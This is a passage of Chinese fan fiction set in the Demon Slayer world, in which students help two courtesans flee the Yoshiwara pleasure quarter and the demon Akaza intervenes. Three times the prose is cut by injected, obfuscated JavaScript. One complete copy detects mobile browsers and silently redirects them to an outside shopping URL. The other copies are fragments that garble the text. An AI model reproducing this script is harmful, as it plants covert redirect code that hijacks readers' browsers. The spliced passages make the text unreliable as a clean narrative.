恋雪见过蝶屋的孩子们如何工作,做义工时又学过简单的看护知识,娴熟地消毒了器材,递给在看诊的修。 十几分钟后。 女人将衣衫整理妥当,雪白纱帘卷起。 修放下器具,低声道:“你是……这恐怕是早期梅毒。” 宣布了病情,转而,他换上安慰的语气。 “目前还是轻症,定期注射新洒尔佛散的话,一周一次,十到二十针的疗程就能好了。” 在出身上层阶级的东帝大医学部高材生眼里,早期梅毒,当然是接受治疗就能治好。 但那位自称“莲”的游女只是苦笑了一下。 这药剂的名字一听就是西药。 游女屋哪里会给已经没有价值的游女注射昂贵的西药呢? 哪怕“妈妈”看在妹妹的份上让她接受治疗,但前花魁得了梅毒,这种事情若是传出去必然对游女屋的生意产生极大的冲击。好不容易要走上花魁道中的妹妹,想必也会受她连累。 她倒宁愿,写一封谎称爱上某个男人的遗书,买一包砒霜吃下去也就算了。还能留下个为情而死的美名。 一如她年少接受过花魁训练时读过的诗书,那优美而苍凉的故事。 莲礼节性地笑着,眼中全是无可奈何:“大夫,您会告诉楼主吗?” 修一时间未能会意,恋雪却已经渐渐了然。 在医院和救济所做义工的时候,她有和社会组织、慈善团体的工作人员交流过。感染了梅毒的游女,只有在东京的正规医院才能得到救治。 游郭的小诊所,无法提供进口的前沿药物。浅野先生似乎没有意识到……想在游郭得到治疗疾病的机会,困难重重。 眼前的女子,也不过比她年长两三岁而已,正是二十出头的年纪。 恋雪轻声道:“或许……您有没有想过哪一天,离开游郭呢?外面的世界,有许多支持废娼运动的社会团体,大家都会愿意对您伸出援手的。您还有接受治疗的机会。” 听恋雪开口,修也压低声音:“实不相瞒,我们其实是社会运动组织的成员,您想逃跑的话,我们可以帮……” 眼前的两个年轻人袒露身份,莲的眼中闪过一丝微弱光彩。但很快,那光彩暗下。 逃跑的话,她身上的债务就要再转移到妹妹身上,算了吧。 每一个被卖入游女屋的游女,都欠着游女屋前借金,也即身价债。这笔利滚利的债务,鲜少有人能偿清。 她轻轻摇头:“谢谢两位的好意。但我可能没有办法选择这条道路了。” 妹妹很快就要当上新的花魁。 只要妹妹的花魁道中大获成功,或许能嫁给某位大人成为妾室也说不定,从此过上正常人的生活。如果自己逃跑——楼主指不定怎么迁怒妹妹。 何况,到处都有番头、看廊和妓夫,还有常驻在游郭管理游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大不了她当上花魁后,和楼主夫妇立一份字据,只要他们愿意让姐姐治病,她就用她的身体为东云屋招徕比历任的花魁多十倍、百倍的达官贵人。 和修一起来的还有医学部的两个学生,其中一个叫松本的学生道:“单次注射新洒尔佛散,如果是德国进口药,大概要五十日元左右,如果使用盐野义制药的国产药,可以稍微便宜一点,是三十日元。早期梅毒最低情况的治疗……十二针新洒尔佛散,加上三十针铋剂,还有在医院的其他开支,最低可能需要七百日元。” 一个普通人的月薪,大约是二三十日元。 七百日元。几乎要一个普通人不吃不喝一两年才能攒下。 尽管当上花魁,七百日元也不过是贵客买她一晚上的费用。 但将身体和青春都买断给游女屋的花魁本人,怎么能得到这千金一掷的千金?楼主指缝里能漏下十日元给游女当零花钱,都算楼主怜惜“女儿”。 “七百日元……” 再欠七百日元,她和姐姐这辈子都走不出东云屋了吧。 要是能…… 冥冥中,似乎有一个轻柔的声音说出了她的心声。 直到她反应过来,那声音不是她深夜里求神拜佛时、祈祷能降临在这牢笼中的,菩萨的法音。而是眼前一个穿着护士洁白衣装的同龄人。 恋雪的花瞳柔和凝望她,道:“舞小姐,有没有想过和令姊一起离开游郭?” 她看得出,舞小姐的性格比莲小姐更勇敢主动一些。 信子和百合也开口:“是啊,舞小姐不如考虑和我们一起离开这里。” 诗社的社长百合补充着:“妇女之家的救济所和廓清会可以为你们提供一定帮助,您变卖些首饰,再在慈善组织的培训下谋一份新的生计,并非不能支付这笔费用。” 百合三言两语介绍了几人的来历。 从二十世纪的东京来的大学生,从未亲眼见识过这仍凝固在旧时代的游郭里的悲哀。然而这建议提出,一室的悲哀冲淡了些许。 舞的思绪纷乱,心中一阵阵动荡,垂首沉思着。 逃出去,能逃出去吗?游郭外的世界,又是什么样子? 电光火石间,她已抬起头来: “好,我想试一试……” 17.素流师兄猗窝座 入暮,游女屋的其他人大多都在为准备营业而忙碌,没人注意到准花魁的房内已多了一人。 或许也有人注意,但楼主夫妇不过以为心肝“女儿”已将伯爵少爷拿下。 障子门再度开合,舞将她的姐姐带来。 莲端坐一旁,一言不发地听妹妹与这几个热心的学生将计划道来。 怎样乔装改扮,怎样从偏僻处潜逃,怎样抵达外面的世界。 百合道:“我们明后两日还要走访其他地方,等到第三日,就为莲小姐和舞小姐带来可以乔装成平民的衣服。罗生门河岸的偏僻河段有一些货栈工人私自搭建的小桥,管理罗生门河岸的守卫力量也少,可以从那里出去。” 听眼前的大学生将计划说完,莲才开口。 “从游女屋去往罗生门河岸需要不少时间吧,期间如果被看廊妓夫发现的话,很快就会被追上来了。” 舞听了,沉默几秒,立刻又道:“那就在晚上一点左右、游女屋将要沉寂的时候逃跑好了呀,反正他们平时巡夜也消极怠工的,不是在喝酒就是在聊天。等他们发现人不见了,还有好一阵子呢。” 二人的分歧落入恋雪眼中。 其实被打手发现的问题,倒不必十分担心,她可以…… 然而,似乎察觉到恋雪想开口,修抓住这个能在她面前表现的机会: “如果莲小姐实在担心,我就出钱‘指名’二位吧,楼主以为两位在工作的话,大概就不会太在意这边了。” 假装被指名、在工作,确实可以再拖延一些时间。 但在接客的花魁房间安安静静,恐怕也是过不了多久就要被怀疑了。 游女逃跑的下场,年少的妹妹恐怕还没有见识过吧。被抓回来,被打得半身不遂,被扔到地下室里像块动弹不得的肉一样接待着底层的客人。正因为那残酷的景象,东云屋已经好几年没有人敢逃跑。那时候妹妹还是“秃”,还跟在她身边修行所谓的花魁之道,逃跑的游女被带回楼里那天,她关上门,轻轻拨着三味线,用乐音为妹妹遮去了楼下若隐若现的哭泣声和棍棒声。 人贩子来乡下挑孩子的时候,明明比妹妹年长两三岁的她却没有察觉到“东京的花街”是个什么地方,真是最罪无可恕。 啊,能吃饱饭的地方,能穿好看衣服的地方,能学唱歌跳舞能遇到心爱的男人的地方。爸爸和那位叔父,都是这样拍着胸脯告诉还未满十岁的她们。 那个时候,如果她知道吉原是个什么样的地狱,一定会跪下来求爸爸不要把妹妹也送走。而不是和妹妹一起满心期待地,坐上了前往东京的火车。 莲苍白的脸上露出一个浅淡的微笑,漆黑眸中,淡淡的笑影如同泪花一般。 “浅野医生这个提议真不错,如果假装被指名,应该能再拖延一些时间。但……” “我希望能在你们走后留下来,如果我留在房中弹奏一些乐曲,保持房间里仍有人的假象,他们兴许能再晚两三个小时发现你们已经走了。不用担心,我很快就会跟上去。” 一时间,修还没发现莲的话有什么问题,在逃跑计划里留一个人下来断后,好像也很正常。 但短短一瞬间,舞明艳的脸上已经滚落如珠泪水。 她虽是泪容,但说出口的言语,带了几分严肃的怒意:“不要再说这种话了,再说这种完全不重视你自己的话,即使你是我姐姐我也会生气的。” 为什么姐姐总是这样,觉得要忍耐、要隐忍。即使生病也不愿意告诉自己,一直一个人忍受着,甚至还想牺牲自己来换妹妹逃跑出去的机会。 她三两下揩去脸上的泪水,按住莲放在膝上的苍白消瘦的手: “不尝试一下的话,怎么知道能不能行呢?等离开这里,我们就找一份正当的工作。听说外面的世界,女人也可以到工厂去工作了,姐姐,我们去过堂堂正正的日子吧,不要再留在这种地方了。” 去过堂堂正正的日子。 她凝望妹妹。 那张被老鸨点评为能卖个好价钱、能得到大客人的心的脸。 太难听了,真是让人恶心的评价。 妹妹的脸,分明是一张山茶花一样的脸。山茶,椿花,游郭的和歌训练说椿象征武士凄美壮阔的牺牲之姿。前半生都在游郭度过的她,早已将此中典故熟背于心。 直到这一刻她才想起来,童年的回忆里,开在乡间的山茶花其实是一种生命丰盛蓬勃,比太阳还明亮的花朵。 被妹妹握着手,莲的双肩微微颤动着,道:“好,我和你一起离开。” “各位愿意帮助妹妹和我,小女实在感激不尽……” 要不是一旁的恋雪赶紧扶住她,她几乎要维持着跪坐的姿态,再行一个向前俯身额头触地的大礼。 见此局面,周围的年轻人们,也十分的动容。 当然,各人都有各人的心思吧,有的是真诚的感动和祝福,有的是得圆社运之梦的豪情。 扶着二人中的莲的恋雪,帮忙轻轻拍着那瘦削的背,好让她在如泉的泪意中顺过气来。 东云屋。东云的意思就是夕云。夕阳过去是夜晚,夜晚再过去,是敞亮的白昼。但游郭的白昼也只是另一个暗夜,越过一水之隔,才是太阳如常运转的平凡的世界。 她要尽她的一点力量帮助她们抵达太阳之下的世界。 * 剩下的两日,在游郭的一行人还去了其他游女屋和罗生门河岸。 大同小异。 看似和蔼的楼主,看似风光无限的花魁,看似轻盈慵懒地在色道游走的众游女,这是游郭。 然而苦笑、倦容、疾病、欺凌、拐卖、折磨、怨恨、一张张被困在见世栅栏红格子后待挑选的脸,这也是游郭。 最后,到了罗生门河岸。 游女屋的游女,多数仍怀抱一丝对生活的期盼,珍惜难得的看诊机会。也有若干愿意吐露心声的,配合着回答了几个田野调查的问题。 然而第三日在罗生门河岸迎接这群学生的,是许许多多浮在屋檐阴影下的冷漠不屑面孔。 不屑,嘲讽,叫骂,如积雨云在他们头顶盘旋。 罗生门河岸的疾病,斑斑点点漆黑蔓延,即使看诊了也改变不了什么,已经是完全治不好的地步了。 原本已经被顺手牵羊偷走一点的药品,也在一不留神间,被一群顽劣的孩子整箱抢过。 孩童之中好几个都有先天梅毒的迹象。 “喂!你们——” 看到医生追上来,快要被抓住的小孩把药箱扔到地上踩了几脚,做了个鬼脸,笑嘻嘻跑掉了。 将破损的药箱带回,两个男同学已面露疲色,远没有初到游郭时的干劲。 看着那群哄闹而去的孩子,田中烦躁道:“总觉得这样下去也没什么意义,那么多前辈摇旗呐喊也没改变什么。这里的人,即使去到了外面也还是一样吧,因为从出生时的本性就是这样,即使环境变了也……” 这是在说什么?修听了两个朋友的话,正想开口反驳,但一时之间,也想不出什么话来。 他们只是一群学生。从大正初年开始,就有许多教授、名士为此而努力着,事到如今,也不见什么成效。一群学生又能做什么?深入这灰暗地带的腹地,才知道和站在明亮热闹的上野公园演讲完全不是一回事。他的脑海中,浮现出三日来见过的悲惨的女性,酒精中毒的,歇斯底里的,梅毒的,淋病的……走投无路的女人,沦落到罗生门河岸,罗生门河岸的私娼生下的孩子们,长大后继续进入游郭,这个地方就像有它自己的环境循环,外人难以…… “怎么能这么说呢,他们肯定也想做个有礼貌的孩子,读书识字、自力更生吧。如果有机会,他们也会成长为有知识,有力量的人,他们的心和灵魂和其他人是一样的。” “田中先生,请不要沮丧了,这药箱里的药不是大多数还好好的嘛,还能继续分发。哪怕只是减轻生病的人一时片刻的病痛,也有意义了。” 是她在说话。 修抬起头来,看向坐在他对面的年轻女孩。 她的眼神,像一串粉碧玺的念珠在他心里流转而过,留下晶莹清透的余音。 信子也道:“就是就是,田中你随随便便说大家做的事情没有意义的话,把这几天大家的努力都当成什么了!” “是啊,不要泄气了田中君,”修拍了拍田中的肩膀,笑笑,“我们晚上不是还和舞小姐她们约好了吗,即使能帮一两个人,也算不虚此行了。况且,说不定这次游郭之行的报道刊登出来能掀起些许涟漪呢。” * “浅野医生,您要指名舞是吗?好、好,我们这就让她准备。噢,还要她姐姐?浅野少爷,她姐姐可不如她来得青春美……没事,可以,可以一起指名,没问题,我们都能为您安排。” “等舞完成花魁道中之后,可没有现在这么容易见面了哦,我们是为您破例了。” 就说吧,医生也是男人,是男人,就会沉湎色道。 年轻的时候,她也遇到过几个仿佛正人君子自诩名士的客人呢,到头来还不是这样。唉,男人啊! 已过五旬的楼主,早已忘却年少时候欢场卖笑的苦楚,笑眯眯地一拍手,好几个见世番鱼贯而出,引着那贵客上楼去。 误以为舞得了贵客的青睐,东云屋已经为准花魁的舞安排上花魁的规格。重要的客人见花魁前,还有特别准备的舞乐演艺,由艺者、幇间、新造完成。 为免引起老鸨怀疑,修忍着不耐烦看了长达一个半小时的歌舞。一番表演后,自然又是身为伯爵少爷的他出手阔绰打赏了仆从和艺者,若干人等春风满面地恭维着退去。 一点钱就能让这群人贺颂声不绝于耳。在平日,这几个子连在府上开瓶洋酒都不够。 如此轻易潇洒地便帮助了受困的被压迫者,他面上淡淡,但心里难免有几分得意。 可惜她和朋友们都到楼外等着接应去了,没能让她看见他游刃有余的闲雅姿态。 修等在外间,直到姐妹二人换上平民的衣装。 游女穿上市民的服装,其实看起来和寻常百姓也无异。 已至三更,游女屋中的人声笑语渐渐沉寂。只偶尔,仍从黑暗的角落里传来无可奈何的异响。 修低声道:“我们这就出发吧,他们都在外面接应我们。” 所谓的接应是指——刚从窗户翻下来,就有人稳稳当当地接住了她们。 “谢谢……咦,素山小姐?” 舞本来以为是浅野先生的另外两个男同学,结果居然是看起来纤柔清瘦的素山小姐。 她眼中,月下的素山小姐淡粉小袖,深黑女袴,披一件浅蓝的羽织,怎么看都是一位文雅的淑女,居然、居然……居然轻而易举地把她和跳下来的姐姐接住了。 其他人也和舞一样目瞪口呆——这就是武术道场的继承人吗! 只有信子微微仰起头,露出“我就说吧”的得意表情。 然而黑暗中,一条绮丽的丝带,一直隐蔽了气息,如蛇般在格子窗的灯火浮隙间穿行。 两双眼睛,透过那丝带注视着这群年轻人。 “哥哥,就这么让他们跑了?那个舞,我本来打算在她当上花魁后把她和鲤夏一起吃了……” “都怪那个上弦三,要不是他多管闲事,我们把这群学生都给吃了!什么大学生,真是一群无知的蠢货,以为看看诊发发药就可以改变游郭的现状! “哥哥,看到这群自以为是的家伙,你难道不想好好地教训一下、戏弄一下……虐杀一下他们吗?”堕姬揽着妓夫太郎的臂,花瓣般朱粉的唇,下陷甜美狡黠梨涡。 被她撒娇般揽住的妓夫太郎,正倚坐窗际,闲闲地抱着臂,如一条百无聊赖的苍绿蟒蛇,在狩猎的间隙里望着天心月色。 从没有接受过教育的游郭妓夫,当然无法知晓在古往今来的诗词中,圆月象征着许许多多的美好。 看了一百年了,也没什么好看的。 因此,他的目光很快转向与他血脉相连的妹妹,他真正的月亮、这被他捧在掌心的一钩雪白锋丽新月。 他漫不经心答道:“上弦三说了让我们别对那个鬼杀队的剑士出手,你想吃了那个游女和那群学生,很难不和她交手。” 堕姬对他不甚上心的姿态很是不满。 “啊,烦死了!” “我就是不想看他们那么得意洋洋地逃出去嘛,哥哥你快想办法!” “知道了知道了,真是拿你没辙……”妓夫太郎拍了拍她一头绿云般乌发。 “既然如此,就让游郭里的‘妓夫’们来追捕他们吧。” 有那个鬼杀队的剑士在,那群妓夫估计也抓不到他们。 不过妹妹只是想吃一两个人而已嘛,让忽然出现的打手分散了他们,再让妹妹把落单的家伙吃了不就好了。 妹妹想吃那个叫舞的游女,那他就吃那个叫什么浅野少爷的小白脸。 即使那个剑士实力超群,但鬼杀队的剑士能对人类下死手吗,她一个人能牵制一群打手不成。 唉,他可是吉原游郭最强大的妓夫,怎么能,允许游郭里的人们逃出他和妹妹的狩猎场呢? 凭什么她们就能逃出去?妄想获得幸福的家伙……都去死吧! 妓夫太郎酗饮着即将降临到他人身上的不幸,万分的快活、沉醉,苍白瘦削脸上,渐渐泛出一抹愉悦酣畅笑容。 * 东云屋,准花魁房间的门,不知何时被人推开了。 “门怎么开了……浅野少爷,是有什么吩咐吗?” 殷勤笑着的男仆,看到的却是一室空空如也。 盛放酒盏的木托盘,哐当一声落地。 “快去告诉‘妈妈’和老板,舞和那个男人跑了!” “妈的……敢让我们大半夜去抓人,贱人,被抓回来就等死吧!” * “喂,小鬼,站住!” “有没有看到一群年轻人和两个游女?” 几个被妓夫们叫住的孩子,胆战心惊,瑟瑟发抖,一时说不出什么话来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你们想跑到哪去?!” 然而还来不及再想,身后的巷子里,传来了愤怒的遏止声。 “世界”亮起来了。 是妓夫们手中的火把。来自吉原的赤红的光。 怎么这么快就追上来了,怎么会! 一片巨大的恐慌袭上了她的心头,如果她让恩人们和姐姐快跑,她一个人留下来跟他们回去的话…… 身后,一双轻柔的手却轻轻拍了拍她的肩膀,而后在她眼底,指向小桥的方向。 恋雪道:“舞小姐,你们和信子、浅野先生他们先走吧,我留下来对付这些人。” 尽管知道朋友在武术上有一定造诣,信子还是面露忧心:“他们起码有三十多个人吧,手上还有刀具!咦,不对……恋雪你今天穿羽织来是为了隐藏这把、这把刀吗!” 只见不知何时,她的朋友已从身后抽出一把雪白的刀。 恋雪有点不好意思。 因为靠系统忽然变一把日轮刀出来的话太奇怪了,只好穿上羽织稍加掩饰,伪装成她一直背着刀的样子……诶,说起来,上次在神庙,狛治哥哥好像没有怀疑她忽然变出一把日轮刀的事情。 算了算了,先不想之前的事了。 本来她觉得即使有追兵也只是十几个人而已,只靠武术也能对付。但既然有三十多个人的话,还是把刀抽出来震慑一下比较好。 那群妓夫里,爆发出一阵不屑的哄笑:“这是什么啊,一个小丫头片子拿着把刀做什么?” 但恋雪仍是那平静的笑容,回头对朋友道:“我可以的,大家先走吧。” 信子一咬牙,对百合道:“社长,我们带舞小姐她们先走吧!恋雪她很厉害,我相信她没问题。” 但百合还没回答,先应答的另有其人。 “怎么能把素山小姐一个人留在这里?素山小姐,我和你一起对付他们。”修说着,已站到恋雪身旁。 恋雪对他无奈一笑:“呃,这,浅野先生,你还是也和大家一起走吧……”因为你看起来好像完全没有武术方面的素养,留下来有点危险…… 然而修非要和恋雪商量的姿态,彻底激怒了对面的游女屋打手。 “这种时候还要上演什么你先走我断后的感人戏码吗,你们这群多管闲事的富家子弟,就把你们关起来向你们家人勒索几笔影响游女屋营业的赔偿金也不错!” 火把熊熊的光里,几个妓夫已经一拥而上。 毫无疑问地—— 都被那持剑的年轻女孩一剑放倒了。 同行的朋友们见此情景,全都为恋雪鼓掌喝彩起来。 “喂,这种时候别傻站着鼓掌了吧,快跑啊!我不是说了恋雪没问题的吗!” “啊,是、是,不好意思……”两个男同学回神,都赶紧转过身去,和信子百合她们一起护送着莲和舞逃跑。 “他们跑了,分几个人去追!” 恋雪功架轻盈优美,浅蓝羽织翻飞时如在月下染了一片白银。只一瞬,去追击朋友们的打手也被她打倒。 但三十多人,实在有点棘手。因为她不想伤人,所以用的是刀背,刚才被她放倒的几人,已经有一两个爬了起来。 运剑的间隙里,恋雪道:“浅野先生,你还是也和大家一起离开比较好哦,你留在这里,我有点……” “素山小姐,不用担心我!” 不,我的意思是你有点妨碍到我挥剑…… 但一向温柔体贴的她,又顾及着战斗,一时居然想不到怎么婉转地表达此意。 直到—— “啊!”一声惨叫传来。 其中一个妓夫被一股强悍到恐怖的力道拧断了手臂,血流不止,颓然倒地。倒地时,还在不断发出破碎的尖叫。 周围一圈妓夫都惊恐退去,一道血泊在恋雪眼底喷涌而出。 到底是什么力量能活生生把人手臂撕裂? “鬼、鬼啊,怪物!” 血光后,是一双前几天才在阴影里注视着她离开家的瑰金色眼睛。 猗窝座唇边泛起一丝冷笑,不耐烦地,将那断肢抛落在地。 太笨了,太天真了,竟然用刀背对付这些杂碎。 恋雪,为什么这么笨呢? 笨到和一群弱者跑到游郭里干这种无聊的、毫无意义的事情。 笨到连事先向他求助也不会。 修额冒冷汗,尽管胆战心惊,仍是上前一步,挡在恋雪身前,鼓起勇气和这从天而降的男人交涉:“您好,敢问贵姓……” 虽然看起来是在帮他们,但是这个人看起来根本就比那群妓夫更危险……!没事的,他可以,他一定要保护好素山小姐! 然而,回答他的不是眼前鬼魅一样的男人,而是身后的恋雪。 恋雪早已从他身后走出来,纤柔的掌心向上,指尖对着猗窝座,无可奈何地作了个介绍的手势:“我的丈……我的师兄。我们素流的师兄猗窝座。” 18.我和他不是恋人 爸爸问你愿不愿意做我们家的女婿。 他是我丈夫。 他是我丈夫,我当然带着他。 我丈夫、我夫君……烦死了,莫名其妙忽然出现的人类女人,一直跟在他身后提起那些无聊的往事。 说了好几次也无法阻止她继续使用那庸俗的称呼,他心下烦躁,干脆懒得管她。 她爱怎么叫就怎么叫。 她口中的“丈夫”根本不是他,是那个叫狛治的人类。 那个人类的尸体是他于此世降生的养分,仅此而已。一直容许她跟在他身边喊着另一个男人的自己,未免太善心大发了。是因为那个人类残留的心影响到了他吗? 既然如此,干脆就把心掏出来扔掉,赶紧结束这无聊的一切。 她不是想要狛治的心吗,正好,她再也找不到了。 他要她永远都找不到! 然而他当真在胸膛划开一线,深蓝的五指将那颗心攥住时,一个小小的东西,坚凝的触感,贴上他冰冷指腹。一个小小的东西,轻易就会消失不见的东西。 那天真不该在他的心里融合了她给的钥匙,不然,他一定立刻把这颗心扔掉…… 这颗多余的心,这颗时时被她牵动的心,居然因为她与他拉开了些许距离,便如同被抛到万里之外的荒原,空茫的风,苍凉地穿心而过。 他不过是说了一句他讨厌狛治而已,她这也受不了吗? 因为受不了,所以她甚至找借口出门去。 随便吧,无所谓了,她爱怎么样怎么样。 反正他已经交代过妓夫太郎和堕姬,不要对她动手。 * 结果那对鬼兄妹确实没有对她动手,但他们故意引来了一群妓夫。 身为鬼的他,十分熟悉这些同类的内心有多么扭曲。他们身为上弦之月,明明可以轻松离开游郭、去进行更体面的战斗,却一次也没有迈出吉原的大门,反而一直盘踞此处,常常以戏耍吞吃想逃离这里的人为乐。真是两个上不得台面的家伙…… 但他放任了他们的伎俩。 因为他也想看她小小地吃瘪。 反正她肯定不会对人类下杀手,等她陷入缠斗的时候,他就会出手把那群蚂蚁捏碎——算了,赶跑吧。 猗窝座,不要再杀人了。 即使她故意冷遇他,即使她对他甩脸色,他也依然、依然,愿意满足她无聊的心愿。比起听到一句“我讨厌狛治”就要和他冷战的女人,他的气量宽广得多。 信手一挥,浑浊鲜血喷涌,蚂蚁脆弱的虫足在他掌下碾断。只是断去废物一条手臂,多么手下留情,多么违背武道鬼的原则,都是为了她软弱的仁慈。 她是不是很欣喜,很感动? 只要她乖乖回到他身边来,他也不是不能帮她所谓的朋友、一群愚蠢的弱者离开游郭。 “这是我丈……” “这是我师兄。我们素流的师兄猗窝座。” 素流的师兄,猗窝座。师,兄。 这时候,一直在紧盯着她的他才有所察觉,她身边还有旁人。不知死活地,对她献殷勤的那个家伙。 猗窝座金瞳中阴冷席卷。 在外人面前,就叫师兄吗。 抑或是……这个低等的、追求你的人类其实也是你的备选? “温柔”、“正直”、“体贴”,无能的弱者才会扮演出这些虚伪的品性来博取你的欢心,原来你还找到了一个和“狛治”在其它方面很相似的弱者。 早知道,不止那些蚂蚁,他要把围在她身边嗡嗡叫的蚊子一起杀了—— “猗窝座先生,你……专程来找我?” 挡住他锁定将死猎物视线的,是她微微抬起脸时,泛着点点喜意的花瞳。 * 不知是否潜入游郭时过于专注,另加连续工作三天有点疲劳,方才一路上,她居然没有察觉到狛治的存在。真是太大意了。 又或是,其实身为上弦鬼的他一直都能在她身边隐藏气息?那之前为什么好几次都会暴露呢,难道他是故意要她察觉到他的存在……应该,不会吧。总觉得如果是这样的话,当了一百多年鬼的猗窝座,反而没有十八岁的狛治成熟了呢。 是的,猗窝座。 她尽量让自己在思索时,也多一些称呼他为猗窝座。为了满足他的心愿。 那天之后,她思索过他如今的心境。他完全没有从前的记忆,还一直自傲于上弦三、斗之鬼的头衔,排斥着前世为人时的身份。他只觉得他是猗窝座,她忽然出现,用一个他从未听过的名字称呼他,他觉得冒犯,似乎也可以理解。 可明明,他们就是同一个人。 她并不愿意为了缓和与他的关系,就顺着他、认同他那一套将狛治与他切割的歪理。但只是多想想他身为猗窝座的一面,她可以做到。 毕竟三番四次帮了她,雨中来接她,在那小小的家里与她共度一段宝贵时光的人,不只是身为狛治的他,也是身为猗窝座的他。 如果能有什么办法让他想起之前的身份,又将最后一段痛楚的往事剔除该有多好。 见他没反应,像是没听清,她又再说了一遍:“猗窝座先生,你专程来找我、来帮我,我很惊喜,谢谢你。” 他阴沉的表情,仿佛有所松动。 但在她话音落下后响起的,并非他的答复,而是—— “猗窝座先生,您好。”猗窝座,好奇怪的名字。但修依然礼貌地伸出手来,打算与眼前的素流师兄猗窝座握手。 一直沉默的鬼,终于吐露出一个字来。 “滚。” 唉,这也太不友好了。恋雪叹气。 从小到大都被身边人恭维着的修也震惊了。 什、什么? 眼前神色阴鸷的男人,好像是在对他说,滚。 但鉴于对方一直如亲卫般紧盯着素山小姐,又一出拳将冲上来的几个妓夫放倒,似乎也可以理解为他在对那几个妓夫说话——等等,怎么有人仅用拳风就能放倒好几个人?而且他的皮肤根本没有血色…… 仅仅是被那冲击的风浪扫到的妓夫,就已经跪地不起,吐出一大口血来。 修的后背渐渐冒出冷汗。果然,这个人很奇怪,虽然素山小姐说对方是她的师兄,但自己还是稍微护在素山小姐身前比较好…… “滚开,听到没有。” 火把颤抖着掉落到湿润河滩,纷纷熄灭。周围一圈妓夫目睹了这恐怖的实力,全都惊叫着,连滚带爬逃走。 于是这个形如恶鬼的男人下一句逐客令的对象,很快就会成为…… “猗窝座先生,你穿了我买给你的衣服?” 恋雪紧急发言。 为什么忽然间会这么生气,明明刚出现的时候还是笑眯眯的。 气氛太紧张了,还是说点什么缓和一下吧。 何况,他也的确穿了她给他买的那件衣服。黑底的缎面,怒放的深粉色夕颜,金线绣出的柳形烟火在花上垂落。深浓艳丽的服色,更衬托出他颇具妖异之气的俊美,狷邪飞扬,迷离月色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183765|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,宛如夜游的黑豹。 当然,她绝对没有觉得他平时穿一身武者的短褂就不好看的意思,只是两套打扮各有千秋。平日,一般的时候还好,偶尔他忽然凑上来,将她整个视线霸满,往上看是他俊美的脸,往下看是他精赤的胸膛……说不感到难为情是假的。 仿佛是因为她留意到他的打扮,他的神色略有缓和。 倘若她身后的“外人”没有又不识相地开口的话。 在公卿华族之家领略了许多人情世故的修,并非情商全无,看不出眼前的这个男人对自己有敌意。但,就算他不喜欢自己,有必要这样将敌意恶意全然外露吗,未免也太让素山小姐难做了,抑或是,修行武道之人不屑于掩饰? 因为素山小姐气质沉静,品行美好,他还一直以为素流是一个大隐隐于世的高洁门派,看来同一个门派里不同的人也有不同的风格…… 看在素山小姐的份上,他依然愿意向这位素流师兄表达他的善意。 修微笑着,再度伸出手来:“猗窝座先生的武道很厉害。” 然而对面的人依然沉默着。 不仅一言不发,眼神反而愈发阴冷,敌意、恶意,快要凝成杀意。 恋雪无奈了。 浅野先生,虽然我知道你只是想表达你的友好,但在猗、窝、座眼里,或许和挑衅差不多……他能忍耐到现在还不动手,已经是一个奇迹。 为了保住朋友的小命,恋雪只好代答道:“是呀,他很强大。在武术方面,我一直很仰慕他。” “哈哈,那其它方面呢?”修发誓,他只是再次被对方拒绝握手的礼节,而且有这个素流“师兄”在,氛围相当凝滞诡异,他想调解一下才顺口接了一句。 早知道就不说了。 “在其它方面,我恋慕着他。” 月下,年轻的女孩神色平静地吐露她的恋心。 她微笑时,眼中仿佛有蝴蝶在钟情的花朵上停落般静美柔情。 鬼暗金色的瞳倏然颤动。为什么,为什么能这么自然地说出来——他真恨不得时时刻刻用罗针探测她的行动。她居然,在这种时候说出这种话。是为了让他放过这个人类吗…… “就这样随口说出来,是不是很奇怪?抱歉,因为一看到他,我就情不自禁地感到有点开心。浅野先生,还请你不要介意我这唐突的发言。”她浅笑一下,仿佛对他的告白,只是所有平凡话语中的一句,自然地、由心而发。 修如受当头一棒。 “原、原来是这样,素山小姐你和你的师兄是恋人……” “我和他不是恋人。” 她和他当然不是恋人。她和他是被前世姻缘绑在一起的夫妻。他就知道,她还是会和之前那样在别人面前说出这庸俗的人间名份,庸俗,无聊。 说吧。随便你说吧。就当作是为之前的事情道歉,这次我不会再反驳你这无聊的称…… 但河滩上的凉风,只是吹来她微微伤怀的轻言细语: “因为他一直拒绝我的这份心情。” 这句话的字拆开修都认识,合起来他却完全听不懂了。起初,他很疑惑,而后是震惊,怎怎怎么回事,这个人居然拒绝了素山小姐—— 幽影中,她身旁的另一个人也是沉默。夜风声声,阴影里的鬼一言不发,一如一尊清灰色大理石塑像,石塑的本应是死的双目,紧紧凝望着尘世中的女孩。 恋雪并没有太理会这短暂的沉默,轻轻指了指河对面,柔和笑道:“大家还在河对岸等着我们呢,快走吧。” 19.鬼的吻 把猗窝座带到她的朋友们面前,其实她是有点紧张的。 主要是……她似乎从没见过战斗以外的时刻,他和其他人交流超过三句话。 但愿猗窝座先生不要口出狂言才好呀。 结果,他确实没有口出狂言。 因为他根本懒得和别人说话。 仿佛路过人类居住地的虎,没有随机伤人已经是这猛虎最大限度的忍让。 唉。 很无奈地,她再一次介绍他的身份:“这是我的师兄猗窝座。” 